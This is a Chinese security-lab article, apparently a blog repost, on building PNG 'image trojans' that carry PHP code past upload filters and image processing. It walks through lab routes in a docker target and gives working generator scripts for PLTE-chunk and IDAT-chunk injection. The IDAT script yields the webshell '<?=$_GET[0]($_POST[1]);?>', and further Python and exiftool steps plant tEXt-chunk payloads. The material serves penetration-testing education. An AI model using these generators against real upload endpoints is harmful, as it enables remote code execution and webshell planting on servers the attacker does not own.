本环境是蛇矛实验室基于”火天网演攻防演训靶场”进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。
环境准备
图片马想要执行需要的条件:
1.图片可以上传到目标服务器上。
2.图片可解析为PHP代码。
要满足第一个条件,可能的方式有文件上传、远程文件下载、SSRF等方式。
要满足第二个条件可能的方式有上传比如png格式木马但是可以改名为php,从而解析为php;或者可以修改.htacces文件来控制这个php解析类型,使其支持解析png为php代码执行;或者是只能上传png格式图片,但是可以文件包含这个png来执行php代码。
当然以上描述的情况这个跟目标环境有关系。为了方便测试,我制作了一个docker镜像。镜像中web服务支持文件上传,上传时会检查MIME类型是否为图片,但是不检查上传文件的扩展名。这表示可以上传一个图片格式的.php文件到服务器上。在靶场中利用靶机拉取docker镜像。
docker pull ordar/astrolock
docker run -d -p 80:80 ordar/astrolock
PNG结构
-
PNG的基本构成为:
8字节头文件+4字节数据长度+4字节数据标识符+数据块数据+4字节CRC校验码
PNG图片由很多数据块组成,每个数据块包含了不同的信息。PNG定义了两种类型的数据块:
-
一种是称为关键数据块(critical chunk),这是标准的数据块,每个PNG文件必须包含。
-
另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。
关键数据块
关键数据块包括:文件头数据块、调色板数据块、图像数据块和图像结束数据块
“89 50 4E 47 00 DA 1A 0A” png文件的标识符
文件头数据块IHDR
调色板数据块PLTE
图像数据块IDAT
图像结束数据块IEND
辅助数据块
其余 18 个块类型称为辅助块类型, 编码器可以生成哪些,解码器可以解释。
透明度信息:tRNS色彩空间信息:cHRM、gAMA、iCCP、sBIT、sRGB、cICP文本信息:iTXt,tEXt,zTXt杂项信息:bKGD、hIST、pHYs、sPLT、eXIf时间信息:tIME动画信息:acTL,fcTL,fdAT
部分数据块如下:
在PNG中注入PHP代码
first-part 简单插入
查看/first-part的源代码,这非常简单:网络表单需要标题、描述和有效的PNG文件。然后,应用程序将从上传的图像文件中获取数据,从原始文件名构建一个唯一的文件名,并将文件简单地存储在文件系统中(suits_thumbnails目录中,可公开访问)。
# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {
# 获取通过表单上传的文件,从原始文件名构建一个唯一的文件名
$suitFile = $form->get('suit')->getData();
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
# 将上传的文件用唯一文件名存储在Web服务器上的缩略图目录/suits_thumbnails/中
try {
$suitFile->move(
$this->getParameter('thumbnails_directory'),
$newFilename
);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("File exception");
}
# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_first_part');
}
方法一 直接拼接
网上搜索图片马制作的方法,很容易就能找到的方法就是这种。以下方法的效果是等效的。
1.文本方式打开图片,然后末尾粘贴一句话木马;
2.cmd中 copy 1.png /b + 2.php 3.png;
3.使用echo命令追加代码到png图片末尾。
这种方法已经烂大街了,这里就不多说了,懂得都懂。在png图像结束块IEND后面紧跟着phpinfo。
方法二 预定义文本块注入
当然这些关键字是可以修改的,通过下载工具https://exiftool.org/来设置这些预定义关键字。
当然它是可以成功解析的,可以看到文本块copyright后面紧接着就是phpinfo。
PHP-GD库的压缩图像
大多数时候,图像文件不会像/first-part所假设的那样按原样存储在服务器上。而是使用一些标准的PHP 库(如 PHP-GD)将图像调整大小、压缩或编码为特定的文件格式。
/second-part 路径为攻击者实现了一个稍微更现实、也更困难的场景。在存储用户上传的文件之前,应用程序将使用 PHP-GD 函数 imagepng 压缩所有上传到 Web 服务器的图像。
# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {
# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();
# 从原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# 压缩上传的PNG(gzip库的第9级)并保存
$source = imagecreatefrompng($suitFile->getPathName());
imagepng($source, $this->getParameter('thumbnails_directory').'/'.$newFilename, 9);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_second_part');
}
方法三 PLTE块注入
压缩 PNG 文件时,PHP-GD将删除辅助块以减小输出文件的大小。这就是为什么我们在第一部分中注入的PHP payload无法在压缩过程中幸存下来。
但是,如果我们可以将我们的payload注入到 PNG 文件的关键块中呢?当然,这些块在压缩图像时不会被破坏。执行这种注入的完美候选者是 PLTE 块,这是一个包含 PNG 图像的“调色板”的关键块,即颜色列表。根据 PNG 规范:
PLTE 块包含 1 到 256 个调色板条目,每个条目都是三字节的形式:
Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
使用PLTE块,我们可能有256*3字节可用于将我们的payload注入到这样一个关键块中,这应该绰绰有余。唯一的限制是有效载荷的长度必须能被3整除。
使用下面的脚本,可以轻松创建PLTE块注入payload的png图像。
<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }
$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len %3 != 0){
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
执行脚本:
php gen.php '<?php phpinfo(); ?>' png-plte-inject.php
使用PLTE注入可以绕过PHP-GD库的压缩,可以成功上传并且成功解析。
PHP-GD库调整图像大小
Web 应用程序在处理图像时执行的另一个标准操作是调整它们的大小以标准化它们的格式。为此,应用程序可以例如使用PHP-GD库imagecopyresized函数或 imagecopyresampled函数。
/third-part路由实现了目标应用程序在存储输入PNG 文件之前对其进行压缩和调整大小的场景。
# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {
# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();
# 从原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# 压缩上传的PNG(gzip库的第9级),调整大小并保存
$filename = $suitFile->getPathName();
list($width, $height) = getimagesize($filename);
$source = imagecreatefrompng($filename);
$thumb = imagecreatetruecolor(55, 55);
imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_third_part');
}
方法四 IDAT块注入
调整图像大小时,即使是 PLTE关键块的内容也会被破坏,我们的payload也会随之破坏。这些函数实际上只使用原始文件中的像素数据来创建一个全新的图像。关键数据块或辅助数据块中包含的数据都可能会被忽略。
将PHP载荷注入PNG文件的一种相当复杂但有效的方法是将其编码为PNG的IDAT块。
当将原始图像保存为PNG时,图像的每一行都按字节进行过滤,并且该行前缀有一个数字,该数字描述了所使用的过滤器类型(0x01到0x05),不同的行可以使用不同的过滤器。这背后的基本原理是提高压缩比。过滤完所有行后,它们都使用 DEFLATE 算法压缩以形成 IDAT 块。
要生成一个包含有效PHP代码的IDAT 块,应该找到原始像素的精确组合,这些像素一旦被 PNG线过滤器和DEFLATE算法处理,就会输出所需的有效载荷。
字符串不能包含任何重复的代码块,否则它们将被压缩。
虽然很难,但确实是可以实现的。
可以使用以下脚本来生成110×110的PNG图像,一旦调整为55×55,IDAT汇总将包含 PHP 代码:<?=$_GET[0]($_POST[1]);?>
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(55, 55);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img);
?>
此脚本生成恶意 PNG 图像:
php generate_idat_png.php > png-idat-inject.php
这时候将生成的图像通过/third-part路由上传,就可以触发webshell。
通过发送POST请求来触发php执行。
IMAGICK库调整图像大小
除了PHP-GD之外,最流行的图像处理库之一是Imagick,它是ImageMagick的PHP实现。/fourth-part路由说明了一个应用程序,它使用thumbnailImage功能调整用户上传的文件的大小。此函数用于产生较小的low-cost缩略图图像,适合在Web上显示。
# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {
# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();
# 从原始文件名生成唯一的文件名
if ($suitFile) {
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# 使用Imagick将文件转换为100x100缩略图
$filename = $suitFile->getPathName();
$imgck = new Imagick($filename);
$imgck->thumbnailImage(55, 55, true, true);
$imgck->writeImage($this->getParameter('thumbnails_directory')."/".$newFilename);
$suit->setSuitFilename($newFilename);
} catch (Exception $e) {
return New Response("Exception in image processing");
}
}
#将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_fourth_part');
}
方法五 自定义文本块注入
当Imagick调整图像大小时,它实际上会对文本块执行几个操作:
-
擦除标记为“Comment”的tEXt块。
-
覆盖以下tEXt块的值(或者如果它们不存在则定义它们):
date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI
。 -
保留任何其他tEXt块的原始值(包括不存在预定义关键字的tEXt块)。
在方法二的PNG注释中,我们已经知道了预定义的tEXt块的预定义关键字有如下这些:
因为我们修改的是copyright块,所以是可以绕过thumbnailImage方法的处理的。
使用方法二的图像,可以成功执行。如下图,可以看到它并不是紧跟在tEXt块后面执行。
除了以上预定义关键字,我们还可以自定义关键字。通过以下简单的python代码可以实现。
# -*- coding: utf-8 -*-
# @Author : ordar
# @Python: 3.7.5
from PIL import Image
from PngImagePlugin import PngInfo
im = Image.open("png/png.png")
p = PngInfo()
# PngInfo类有两个方法add_itxt和add_text,这两个方法实现的效果是一样的。
# iTXt是国际文本数据;iEXt是文本信息数据块
# p.add_itxt(b"Aaaaa", b"<?php phpinfo(); ?>")
p.add_text(b"Aaaaa", b"<?php phpinfo(); ?>")
im.save("png/png-text-custom.png",pnginfo=p)
用exiftool工具查看图片信息,可以发现Aaaaa文本信息成功添加进去了。
当然也可以解析执行。
总结
当服务器可以将图像文件解释为PHP时,例如弱扩展检查、解析漏洞、本地文件包含漏洞、错误配置PHP解析扩展等方式,可以使用这些技术来造成代码执行。
蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):PHP代码执行-PNG注入